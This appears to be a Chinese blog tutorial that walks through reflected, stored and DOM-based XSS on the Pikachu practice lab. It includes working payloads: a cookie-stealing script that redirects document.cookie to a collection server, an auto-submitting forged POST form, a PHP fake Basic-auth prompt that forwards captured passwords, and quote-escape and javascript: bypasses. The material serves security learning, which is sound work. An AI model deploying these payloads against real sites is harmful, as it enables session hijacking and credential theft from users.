XSS跨站脚本攻击(Cross site script)解析及靶场复现

1. 概述

跨转脚本攻击(Cross site script),为区分CSS层叠样式表,故称为XSS。XSS属于客户端攻击,通常指攻击者在网页中嵌入Javascritp编写的恶意代码脚本,当用户使用浏览器浏览被嵌入恶意代码的网站时,恶意代码将会在用户浏览器上执行并产生危害。

XSS漏洞常见的危害:

  • 盗取用户cookie
  • 修改网页内容
  • 网站挂马
  • 利用网站重定向
  • XSS蠕虫  

而XSS漏洞形成的原因主要是对程序的输入和输出没有做合理的限制,攻击者通过构造脚本语句绕过限制传至前端时,浏览器会将攻击脚本当做有效代码执行。故在XSS漏洞的防范上常对输入进行过滤,过滤掉可能导致XSS攻击的字符输入;对输出到前端的内容进行适当转义。

XSS漏洞主要分为三类:反射性XSS存储型XSSDOM型XSS。以下通过靶场(pikachu靶场)的练习对各类XSS漏洞进行更深入的理解。

 

2. 反射型XSS

反射性XSS也称为非持久XSS,当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后将带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据造成XSS漏洞,这个过程像一次反射,故称为反射型XSS。

2.1 反射性XSS(Get)

输入Easyoung,内容被直接执行写入,并跳转出who is Easyoung,i don't care!  

 尝试直接注入,发现前端有输入长度限制。

<script>confirm('You are attacked!!!')</script>

 

 按F12打开源码将长度最大值20改为200,重新注入成功弹出窗口。 此外还可通过Burpsuit抓包绕过字符长度限制。

 

 

2.2 反射性XSS(Post)

首先根据提示输入账号密码

 登陆成功后跳转到和Get型类似的页面

这里就已经体现出两种类型的区别了,Get型是直接提交数据,而Post型需要先通过Post方式认证之后再通过Get方式来提交数据。

我们可以模拟黑客的攻击过程,如XSS Get型。黑客将构造好的链接发送发布到各类社交媒体中,当有用户点击该链接时会重新跳转到主页面或者刷新重定向到主页面,用户几乎无感知。但此时用户的cookie已经被发送到了黑客的服务器上(靶场服务器部署在本机上),黑客成功盗取到用户的cookie等相关信息。

http://192.168.43.223/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.43.223%2Fpikachu%2fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E
&submit=submit

而对于Post型方式,用户点击恶意链接之后并不会直接触发盗取到cookie,因为需要通过认证登陆。所以黑客需要利用服务器去伪造POST请求去登录, 从而盗取用户登录成功后的cookie。攻击流程如下:

 伪造的Post表单自动提交的代码如下:

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.43.223/pikachu/vul/xss/xsspost/xss_reflected_post.php">  //向存在Post型XSS漏洞的网站地址发送Post请求
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.43.223/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; //黑客的XSS管理平台地址以及XSS脚本
    </script>"
     />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

回到靶场中,当登陆成功之后点击攻击链接:http://192.168.43.233/pikachu-master/pkxss/xcookie/post.html ,即上面HTML代码的页面。这相当于受害者帮我们提交了一次POST请求。

 提交完之后用户侧会重定向跳转到主页面,而黑客的XSS管理平台则成功盗取了用户的cookie。

 最后Get型XSS和Post型XSS的区别在于:GET方式中,  攻击代码是直接暴露在URL中的;POST方式参数内容不会出现在URL中。

 

3.存储型XSS

 存储型XSS又称之为持久性XSS,是最危险的一周跨站脚本。当攻击者提交一段XSS代码后,被服务器端接受并存储。当攻击者或者其他用户再次访问该页面时,这段代码被程序读出来并响应给浏览器,造成XSS跨站攻击,这便是存储型XSS。

存储型XSS与反射型、DOM型相比,具有更高的隐蔽性和危害性。它无需像后两者一样靠手动触发。存储型XSS漏洞所存在的场景主要有留言板块、资料填写板块、邮件系统等与后端交互并存储的场景。

 

 提交XSS语句:<script>confirm('You are attacked!!!')</script>  。重新访问该页面成功弹出窗口,此时这句代码已经被存储在数据库中,往后每次访问这个留言板的时候,  都会触发这个js代码。

 

 3.1 存储型XSS漏洞的利用

场景一:当某网站的某一页面存在存储型XSS,黑客利用该漏洞可以在该页面嵌入一段Basic认证的恶意JS脚本。每当用户访问该页面的时候都会触发这段恶意JS代码,就会弹出输入提示用户输入账号密码的页面,然后将用户的账号密码发往钓鱼服务器成功盗取用户账号密码。下面是靶场自带的弹出页面(比较简陋,黑客一般会精心构造一个与受攻击网站类似的登陆页面起到迷惑作用)和代码。

<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台
    header("Location: http://192.168.43.223/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
}
 
?>

当用户在弹出的框内输入账号密码后,钓鱼后台服务器自动上线了表单记录。

 

场景二:当用户提交信息之后,内容被存储在后台数据库中,从前端无法查看。若注入XSS代码,也就无法知道XSS是否被执行。但如果管理员登陆后台查看提交的信息,而后台将该信息的内容输出执行,则后台管理员就容易遭到XSS攻击。

插入XSS代码,提交到后台。

 然后我们模拟管理员登陆。

 

 成功弹出被攻击的窗口。

 

4.DOM型XSS

DOM的全称为Document Object Model(文档对象模型),DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。

通过JavaScript可以重构整个HTML页面,而要重构页面或者页面中的某个对象,JavaScript就需要知道HTML文档中所有元素的“位置”。而DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据DOM规定,HTML文档中的每个成分都是一个节点。

DOM的规定:

  • 整个文档是一个文档节点;
  • 每个HTML标签是一个元素节点;
  • 包含HTML元素中的文本是文本节点;
  • 每一个HTML属性是一个属性节点;
  • 节点与节点之间都有等级关系。

HTML的标签都是一个个节点,而这些节点组成了DOM的整体结构。

 由此可见,DOM本身就代表文档的意思,故DOM型XSS是不需要和服务器端进行交互,只发生在客户端处理数据阶段。

在靶场中直接插入JS代码 <script>confirm('You are attacked!!!')</script> ,弹出了'>what do you see? 链接。

 查看源码

 function domxss()
    {
          var str = document.getElementById("text").value;
          document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
     }

 可以看出来输入的值先用单引号闭合起来后在传递数据,尝试绕过单引号。插入如下代码成功弹出窗口。

'> <img src="" onerror=alert('You-are-attacked!!!')> 

 此外通过javascript伪协议也可绕过插入

javascript:alert("You are attacked !!")
posted @ 2021-01-20 15:12  Easyoung  阅读(1639)  评论(0)    收藏  举报